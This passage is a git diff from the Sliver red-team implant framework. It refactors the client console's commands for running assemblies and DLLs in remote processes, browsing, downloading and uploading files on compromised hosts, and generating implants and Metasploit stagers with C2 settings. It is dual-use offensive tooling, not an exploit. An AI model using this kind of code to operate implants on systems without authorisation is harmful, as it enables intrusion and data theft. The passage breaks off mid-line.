f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") - f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") - } - f.String("p", "process", "", "Path to process to host the shared object") - f.Bool("s", "save", false, "Save output to disk") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - HelpGroup: consts.ExtensionHelpGroup, - }) - } - fmt.Printf(Info+"%s extension has been loaded\n", ext.Name) -} +// // Have to use a global map here, as passing the extCmd +// // either by value or by ref fucks things up +// commandMap[extCmd.Name] = *ext +// helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help) +// extArgs := func(a *grumble.Args) {} +// if extCmd.AllowArgs { +// extArgs = func(a *grumble.Args) { +// a.StringList("arguments", "arguments", grumble.Default([]string{})) +// } +// } +// ctx.App.AddCommand(&grumble.Command{ +// Name: extCmd.Name, +// Help: helpMsg, +// LongHelp: help.FormatHelpTmpl(extCmd.LongHelp), +// Args: extArgs, +// Run: func(extCtx *grumble.Context) error { +// fmt.Println() +// runExtensionCommand(extCtx, rpc) +// fmt.Println() +// return nil +// }, +// Flags: func(f *grumble.Flags) { +// if extCmd.IsAssembly { +// f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)") +// f.String("c", "class", "", "Optional class name (required for .NET DLL)") +// f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") +// f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") +// } +// f.String("p", "process", "", "Path to process to host the shared object") +// f.Bool("s", "save", false, "Save output to disk") +// f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") +// }, +// HelpGroup: consts.ExtensionHelpGroup, +// }) +// } +// fmt.Printf(Info+"%s extension has been loaded\n", ext.Name) +// } -func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - ext, ok := commandMap[ctx.Command.Name] - if !ok { - fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name) - return - } +// func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } +// ext, ok := commandMap[ctx.Command.Name] +// if !ok { +// fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name) +// return +// } - binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch()) - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } +// binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch()) +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } - c, err := ext.getCommandFromName(ctx.Command.Name) - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } +// c, err := ext.getCommandFromName(ctx.Command.Name) +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } - var args string - if len(c.DefaultArgs) != 0 { - args = c.DefaultArgs - } - if len(ctx.Args.StringList("arguments")) > 0 { - args = strings.Join(ctx.Args.StringList("arguments"), " ") - } +// var args string +// if len(c.DefaultArgs) != 0 { +// args = c.DefaultArgs +// } +// if len(ctx.Args.StringList("arguments")) > 0 { +// args = strings.Join(ctx.Args.StringList("arguments"), " ") +// } - entryPoint := c.Entrypoint - processName := ctx.Flags.String("process") - if processName == "" { - processName, err = c.getDefaultProcess(session.GetOS()) - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } - } - isDLL := false - if filepath.Ext(binPath) == ".dll" { - isDLL = true - } - binData, err := ioutil.ReadFile(binPath) - if err != nil { - fmt.Printf(Warn+"%s", err.Error()) - return - } - var outFilePath *os.File - if ctx.Flags.Bool("save") { - outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname())) - outFilePath, err = ioutil.TempFile("", outFile) - } - if c.IsAssembly { - ctrl := make(chan bool) - msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args) - go spin.Until(msg, ctrl) - executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{ - Request: ActiveSession.Request(ctx), - IsDLL: isDLL, - Process: processName, - Arguments: args, - Assembly: binData, - Arch: ctx.Flags.String("arch"), - Method: ctx.Flags.String("method"), - ClassName: ctx.Flags.String("class"), - AppDomain: ctx.Flags.String("app-domain"), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput())) - if outFilePath != nil { - outFilePath.Write(executeAssemblyResp.GetOutput()) - fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) - } - } else if c.IsReflective { - ctrl := make(chan bool) - msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args) - go spin.Until(msg, ctrl) - spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{ - Request: ActiveSession.Request(ctx), - Args: strings.Trim(args, " "), - Data: binData, - ProcessName: processName, - EntryPoint: c.Entrypoint, - Kill: true, - }) - ctrl <- true - <-ctrl +// entryPoint := c.Entrypoint +// processName := ctx.Flags.String("process") +// if processName == "" { +// processName, err = c.getDefaultProcess(session.GetOS()) +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } +// } +// isDLL := false +// if filepath.Ext(binPath) == ".dll" { +// isDLL = true +// } +// binData, err := ioutil.ReadFile(binPath) +// if err != nil { +// fmt.Printf(Warn+"%s", err.Error()) +// return +// } +// var outFilePath *os.File +// if ctx.Flags.Bool("save") { +// outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname())) +// outFilePath, err = ioutil.TempFile("", outFile) +// } +// if c.IsAssembly { +// ctrl := make(chan bool) +// msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args) +// go spin.Until(msg, ctrl) +// executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{ +// Request: ActiveSession.Request(ctx), +// IsDLL: isDLL, +// Process: processName, +// Arguments: args, +// Assembly: binData, +// Arch: ctx.Flags.String("arch"), +// Method: ctx.Flags.String("method"), +// ClassName: ctx.Flags.String("class"), +// AppDomain: ctx.Flags.String("app-domain"), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput())) +// if outFilePath != nil { +// outFilePath.Write(executeAssemblyResp.GetOutput()) +// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) +// } +// } else if c.IsReflective { +// ctrl := make(chan bool) +// msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args) +// go spin.Until(msg, ctrl) +// spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{ +// Request: ActiveSession.Request(ctx), +// Args: strings.Trim(args, " "), +// Data: binData, +// ProcessName: processName, +// EntryPoint: c.Entrypoint, +// Kill: true, +// }) +// ctrl <- true +// <-ctrl - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } - fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult()) - if outFilePath != nil { - outFilePath.Write([]byte(spawnDllResp.GetResult())) - fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) - } - } else { - ctrl := make(chan bool) - msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args) - go spin.Until(msg, ctrl) - sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{ - Request: ActiveSession.Request(ctx), - Args: args, - Data: binData, - EntryPoint: entryPoint, - ProcessName: processName, - Kill: true, - }) - ctrl <- true - <-ctrl +// fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult()) +// if outFilePath != nil { +// outFilePath.Write([]byte(spawnDllResp.GetResult())) +// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) +// } +// } else { +// ctrl := make(chan bool) +// msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args) +// go spin.Until(msg, ctrl) +// sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{ +// Request: ActiveSession.Request(ctx), +// Args: args, +// Data: binData, +// EntryPoint: entryPoint, +// ProcessName: processName, +// Kill: true, +// }) +// ctrl <- true +// <-ctrl - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } - fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult()) - if outFilePath != nil { - outFilePath.Write([]byte(sideloadResp.GetResult())) - fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) - } - } -} +// fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult()) +// if outFilePath != nil { +// outFilePath.Write([]byte(sideloadResp.GetResult())) +// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) +// } +// } +// } -func cmdExists(name string, app *grumble.App) bool { - for _, c := range app.Commands().All() { - if name == c.Name { - return true - } - } - return false -} +// func cmdExists(name string, app *grumble.App) bool { +// for _, c := range app.Commands().All() { +// if name == c.Name { +// return true +// } +// } +// return false +// } -func init() { - commandMap = make(map[string]extension) -} +// func init() { +// commandMap = make(map[string]extension) +// } diff --git a/client/command/filesystem.go b/client/command/filesystem/filesystem.go similarity index 56% rename from client/command/filesystem.go rename to client/command/filesystem/filesystem.go index 5df43ce55b..2215026348 100644 --- a/client/command/filesystem.go +++ b/client/command/filesystem/filesystem.go @@ -21,6 +21,7 @@ package command import ( "context" "fmt" + "io" "io/ioutil" "os" "path" @@ -31,8 +32,8 @@ import ( "github.com/alecthomas/chroma/formatters" "github.com/alecthomas/chroma/lexers" "github.com/alecthomas/chroma/styles" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util/encoders" @@ -41,30 +42,30 @@ import ( "github.com/desertbit/grumble" ) -func ls(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() +func Ls(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveSession.GetInteractive() if session == nil { return } remotePath := ctx.Args.String("path") - ls, err := rpc.Ls(context.Background(), &sliverpb.LsReq{ - Request: ActiveSession.Request(ctx), + ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ + Request: con.ActiveSession.Request(ctx), Path: remotePath, }) if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintWarnf("%s\n", err) } else { - printDirList(ls) + PrintDirList(con.App.Stdout(), ls) } } -func printDirList(dirList *sliverpb.Ls) { - fmt.Printf("%s\n", dirList.Path) - fmt.Printf("%s\n", strings.Repeat("=", len(dirList.Path))) +func PrintDirList(stdout io.Writer, dirList *sliverpb.Ls) { + fmt.Fprintf(stdout, "%s\n", dirList.Path) + fmt.Fprintf(stdout, "%s\n", strings.Repeat("=", len(dirList.Path))) - table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0) + table := tabwriter.NewWriter(stdout, 0, 2, 2, ' ', 0) for _, fileInfo := range dirList.Files { if fileInfo.IsDir { fmt.Fprintf(table, "%s\t\t\n", fileInfo.Name) @@ -75,8 +76,8 @@ func printDirList(dirList *sliverpb.Ls) { table.Flush() } -func rm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() +func Rm(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveSession.GetInteractive() if session == nil { return } @@ -84,25 +85,25 @@ func rm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { filePath := ctx.Args.String("path") if filePath == "" { - fmt.Printf(Warn + "Missing parameter: file or directory name\n") + con.PrintErrorf("Missing parameter: file or directory name\n") return } - rm, err := rpc.Rm(context.Background(), &sliverpb.RmReq{ - Request: ActiveSession.Request(ctx), + rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{ + Request: con.ActiveSession.Request(ctx), Path: filePath, Recursive: ctx.Flags.Bool("recursive"), Force: ctx.Flags.Bool("force"), }) if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) } else { - fmt.Printf(Info+"%s\n", rm.Path) + con.PrintInfof("%s\n", rm.Path) } } -func mkdir(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() +func Mkdir(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveSession.GetInteractive() if session == nil { return } @@ -110,79 +111,79 @@ func mkdir(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { filePath := ctx.Args.String("path") if filePath == "" { - fmt.Printf(Warn + "Missing parameter: directory name\n") + con.PrintErrorf("Missing parameter: directory name\n") return } - mkdir, err := rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{ - Request: ActiveSession.Request(ctx), + mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{ + Request: con.ActiveSession.Request(ctx), Path: filePath, }) if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) } else { - fmt.Printf(Info+"%s\n", mkdir.Path) + con.PrintInfof("%s\n", mkdir.Path) } } -func cd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() +func Cd(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveSession.GetInteractive() if session == nil { return } filePath := ctx.Args.String("path") - pwd, err := rpc.Cd(context.Background(), &sliverpb.CdReq{ - Request: ActiveSession.Request(ctx), + pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{ + Request: con.ActiveSession.Request(ctx), Path: filePath, }) if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) } else { - fmt.Printf(Info+"%s\n", pwd.Path) + con.PrintInfof("%s\n", pwd.Path) } } -func pwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() +func Pwd(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveSession.GetInteractive() if session == nil { return } - pwd, err := rpc.Pwd(context.Background(), &sliverpb.PwdReq{ - Request: ActiveSession.Request(ctx), + pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{ + Request: con.ActiveSession.Request(ctx), }) if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) } else { - fmt.Printf(Info+"%s\n", pwd.Path) + con.PrintInfof("%s\n", pwd.Path) } } -func cat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() +func Cat(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveSession.GetInteractive() if session == nil { return } filePath := ctx.Args.String("path") if filePath == "" { - fmt.Printf(Warn + "Missing parameter: file name\n") + con.PrintErrorf("Missing parameter: file name\n") return } - download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{ - Request: ActiveSession.Request(ctx), + download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{ + Request: con.ActiveSession.Request(ctx), Path: filePath, }) if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) return } if download.Encoder == "gzip" { download.Data, err = new(encoders.Gzip).Decode(download.Data) if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) return } } @@ -193,14 +194,14 @@ func cat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { } else { fmt.Println(string(download.Data)) } - if ctx.Flags.Bool("loot") && 0 < len(download.Data) { - err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false) - if err != nil { - fmt.Printf(Warn+"Failed to save output as loot: %s", err) - } else { - fmt.Printf(clearln + Info + "Output saved as loot\n") - } - } + // if ctx.Flags.Bool("loot") && 0 < len(download.Data) { + // err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false) + // if err != nil { + // con.PrintErrorf("Failed to save output as loot: %s", err) + // } else { + // fmt.Printf(clearln + Info + "Output saved as loot\n") + // } + // } } func colorize(f *sliverpb.Download) error { @@ -234,8 +235,8 @@ func colorize(f *sliverpb.Download) error { return nil } -func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() +func Download(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveSession.GetInteractive() if session == nil { return } @@ -248,7 +249,7 @@ func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { dst, _ := filepath.Abs(localPath) fi, err := os.Stat(dst) if err != nil && !os.IsNotExist(err) { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) return } if err == nil && fi.IsDir() { @@ -266,49 +267,49 @@ func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { ctrl := make(chan bool) go spin.Until(fmt.Sprintf("%s -> %s", fileName, dst), ctrl) - download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{ - Request: ActiveSession.Request(ctx), + download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{ + Request: con.ActiveSession.Request(ctx), Path: remotePath, }) ctrl <- true <-ctrl if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) return } if download.Encoder == "gzip" { download.Data, err = new(encoders.Gzip).Decode(download.Data) if err != nil { - fmt.Printf(Warn+"Decoding failed %s", err) + con.PrintErrorf("Decoding failed %s", err) return } } dstFile, err := os.Create(dst) if err != nil { - fmt.Printf(Warn+"Failed to open local file %s: %s\n", dst, err) + con.PrintErrorf("Failed to open local file %s: %s\n", dst, err) return } defer dstFile.Close() n, err := dstFile.Write(download.Data) if err != nil { - fmt.Printf(Warn+"Failed to write data %v\n", err) + con.PrintErrorf("Failed to write data %v\n", err) } else { - fmt.Printf(Info+"Wrote %d bytes to %s\n", n, dstFile.Name()) + con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name()) } - if ctx.Flags.Bool("loot") && 0 < len(download.Data) { - err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false) - if err != nil { - fmt.Printf(Warn+"Failed to save output as loot: %s", err) - } else { - fmt.Printf(Info + "Output saved as loot\n") - } - } + // if ctx.Flags.Bool("loot") && 0 < len(download.Data) { + // err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false) + // if err != nil { + // con.PrintErrorf("Failed to save output as loot: %s", err) + // } else { + // fmt.Printf(Info + "Output saved as loot\n") + // } + // } } -func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() +func Upload(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveSession.GetInteractive() if session == nil { return } @@ -317,14 +318,14 @@ func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { remotePath := ctx.Args.String("remote-path") if localPath == "" { - fmt.Printf(Warn + "Missing parameter, see `help upload`\n") + con.PrintErrorf("Missing parameter, see `help upload`\n") return } src, _ := filepath.Abs(localPath) _, err := os.Stat(src) if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) return } @@ -339,8 +340,8 @@ func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { ctrl := make(chan bool) go spin.Until(fmt.Sprintf("%s -> %s", src, dst), ctrl) - upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{ - Request: ActiveSession.Request(ctx), + upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{ + Request: con.ActiveSession.Request(ctx), Path: dst, Data: uploadGzip, Encoder: "gzip", @@ -348,8 +349,8 @@ func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { ctrl <- true <-ctrl if err != nil { - fmt.Printf(Warn+"%s\n", err) + con.PrintErrorf("%s\n", err) } else { - fmt.Printf(clearln+Info+"Wrote file to %s\n", upload.Path) + con.PrintInfof("Wrote file to %s\n", upload.Path) } } diff --git a/client/command/generate.go b/client/command/generate.go index 9d4834eb3e..513f0bfb5f 100644 --- a/client/command/generate.go +++ b/client/command/generate.go @@ -1,892 +1,892 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bytes" - "context" - "errors" - "fmt" - "io/ioutil" - "log" - "net" - "net/url" - "os" - "path" - "path/filepath" - "regexp" - "strings" - "text/tabwriter" - - "time" - - "github.com/AlecAivazis/survey/v2" - consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/desertbit/grumble" -) - -var ( - // SupportedCompilerTargets - Supported compiler targets - SupportedCompilerTargets = map[string]bool{ - "darwin/amd64": true, - "darwin/arm64": true, - "linux/386": true, - "linux/amd64": true, - "windows/386": true, - "windows/amd64": true, - } - - validFormats = []string{ - "bash", - "c", - "csharp", - "dw", - "dword", - "hex", - "java", - "js_be", - "js_le", - "num", - "perl", - "pl", - "powershell", - "ps1", - "py", - "python", - "raw", - "rb", - "ruby", - "sh", - "vbapplication", - "vbscript", - } -) - -func generate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - config := parseCompileFlags(ctx, rpc) - if config == nil { - return - } - save := ctx.Flags.String("save") - if save == "" { - save, _ = os.Getwd() - } - compile(config, save, rpc) -} - -func regenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - save := ctx.Flags.String("save") - if save == "" { - save, _ = os.Getwd() - } - - regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{ - ImplantName: ctx.Args.String("implant-name"), - }) - if err != nil { - fmt.Printf(Warn+"Failed to regenerate implant %s\n", err) - return - } - if regenerate.File == nil { - fmt.Printf(Warn + "Failed to regenerate implant (no data)\n") - return - } - saveTo, err := saveLocation(save, regenerate.File.Name) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700) - if err != nil { - fmt.Printf(Warn+"Failed to write to %s\n", err) - return - } - fmt.Printf(Info+"Implant binary saved to: %s\n", saveTo) -} - -func saveLocation(save, defaultName string) (string, error) { - var saveTo string - if save == "" { - save, _ = os.Getwd() - } - fi, err := os.Stat(save) - if os.IsNotExist(err) { - log.Printf("%s does not exist\n", save) - if strings.HasSuffix(save, "/") { - log.Printf("%s is dir\n", save) - os.MkdirAll(save, 0700) - saveTo, _ = filepath.Abs(path.Join(saveTo, defaultName)) - } else { - log.Printf("%s is not dir\n", save) - saveDir := filepath.Dir(save) - _, err := os.Stat(saveTo) - if os.IsNotExist(err) { - os.MkdirAll(saveDir, 0700) - } - saveTo, _ = filepath.Abs(save) - } - } else { - log.Printf("%s does exist\n", save) - if fi.IsDir() { - log.Printf("%s is dir\n", save) - saveTo, _ = filepath.Abs(path.Join(save, defaultName)) - } else { - log.Printf("%s is not dir\n", save) - prompt := &survey.Confirm{Message: "Overwrite existing file?"} - var confirm bool - survey.AskOne(prompt, &confirm) - if !confirm { - return "", errors.New("File already exists") - } - saveTo, _ = filepath.Abs(save) - } - } - return saveTo, nil -} - -func generateStager(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - var stageProto clientpb.StageProtocol - lhost := ctx.Flags.String("lhost") - if lhost == "" { - fmt.Println(Warn + "please specify a listening host") - return - } - match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost) - if err != nil { - return - } - if !match { - addr, err := net.LookupHost(lhost) - if err != nil { - fmt.Printf(Warn+"Error resolving %s: %v\n", lhost, err) - return - } - if len(addr) > 1 { - prompt := &survey.Select{ - Message: "Select an address", - Options: addr, - } - err := survey.AskOne(prompt, &lhost) - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } - } else { - lhost = addr[0] - } - } - lport := ctx.Flags.Int("lport") - stageOS := ctx.Flags.String("os") - arch := ctx.Flags.String("arch") - proto := ctx.Flags.String("protocol") - format := ctx.Flags.String("format") - badchars := ctx.Flags.String("badchars") - save := ctx.Flags.String("save") - - bChars := make([]string, 0) - if len(badchars) > 0 { - for _, b := range strings.Split(badchars, " ") { - bChars = append(bChars, fmt.Sprintf("\\x%s", b)) - } - } - - switch proto { - case "tcp": - stageProto = clientpb.StageProtocol_TCP - case "http": - stageProto = clientpb.StageProtocol_HTTP - case "https": - stageProto = clientpb.StageProtocol_HTTPS - default: - fmt.Printf(Warn+"%s staging protocol not supported\n", proto) - return - } - - ctrl := make(chan bool) - go spin.Until("Generating stager, please wait ...", ctrl) - stageFile, err := rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{ - Arch: arch, - BadChars: bChars, - Format: format, - Host: lhost, - Port: uint32(lport), - Protocol: stageProto, - OS: stageOS, - }) - ctrl <- true - <-ctrl - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if save != "" || format == "raw" { - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if err != nil { - fmt.Printf(Warn+"Failed to generate sliver stager %v\n", err) - return - } - if fi.IsDir() { - saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName()) - } - err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700) - if err != nil { - fmt.Printf(Warn+"Failed to write to: %s\n", saveTo) - return - } - fmt.Printf(Info+"Sliver stager saved to: %s\n", saveTo) - } else { - fmt.Println(Info + "Here's your stager:") - fmt.Println(string(stageFile.GetFile().GetData())) - } - -} - -func nameOfOutputFormat(value clientpb.OutputFormat) string { - switch value { - case clientpb.OutputFormat_EXECUTABLE: - return "Executable" - case clientpb.OutputFormat_SERVICE: - return "Service" - case clientpb.OutputFormat_SHARED_LIB: - return "Shared Library" - case clientpb.OutputFormat_SHELLCODE: - return "Shellcode" - } - panic(fmt.Sprintf("Unknown format %v", value)) -} - -func generateCompilerInfo(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - compiler, err := rpc.GetCompiler(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Failed to get compiler information: %s\n", err) - return - } - fmt.Printf("%sServer:%s %s/%s\n", bold, normal, compiler.GOOS, compiler.GOARCH) - fmt.Println() - fmt.Printf("%sCross Compilers%s\n", bold, normal) - for _, cc := range compiler.CrossCompilers { - fmt.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath()) - } - fmt.Println() - fmt.Printf("%sSupported Targets%s\n", bold, normal) - for _, target := range compiler.Targets { - fmt.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format)) - } - fmt.Println() - fmt.Printf("%sDefault Builds Only%s\n", bold, normal) - for _, target := range compiler.UnsupportedTargets { - fmt.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format)) - } -} - -// Shared function that extracts the compile flags from the grumble context -func parseCompileFlags(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) *clientpb.ImplantConfig { - var name string - if ctx.Flags["name"] != nil { - name = strings.ToLower(ctx.Flags.String("name")) - - if name != "" { - isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString - if !isAlphanumeric(name) { - fmt.Printf(Warn + "Implant's name must be in alphanumeric only\n") - return nil - } - } - } - - c2s := []*clientpb.ImplantC2{} - - mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls")) - c2s = append(c2s, mtlsC2...) - - wgC2 := parseWGc2(ctx.Flags.String("wg")) - c2s = append(c2s, wgC2...) - - httpC2 := parseHTTPc2(ctx.Flags.String("http")) - c2s = append(c2s, httpC2...) - - dnsC2 := parseDNSc2(ctx.Flags.String("dns")) - c2s = append(c2s, dnsC2...) - - namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe")) - c2s = append(c2s, namedPipeC2...) - - tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot")) - c2s = append(c2s, tcpPivotC2...) - - var symbolObfuscation bool - if ctx.Flags.Bool("debug") { - symbolObfuscation = false - } else { - symbolObfuscation = !ctx.Flags.Bool("skip-symbols") - } - - if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 { - fmt.Printf(Warn + "Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n") - return nil - } - - rawCanaries := ctx.Flags.String("canary") - canaryDomains := []string{} - if 0 < len(rawCanaries) { - for _, canaryDomain := range strings.Split(rawCanaries, ",") { - if !strings.HasSuffix(canaryDomain, ".") { - 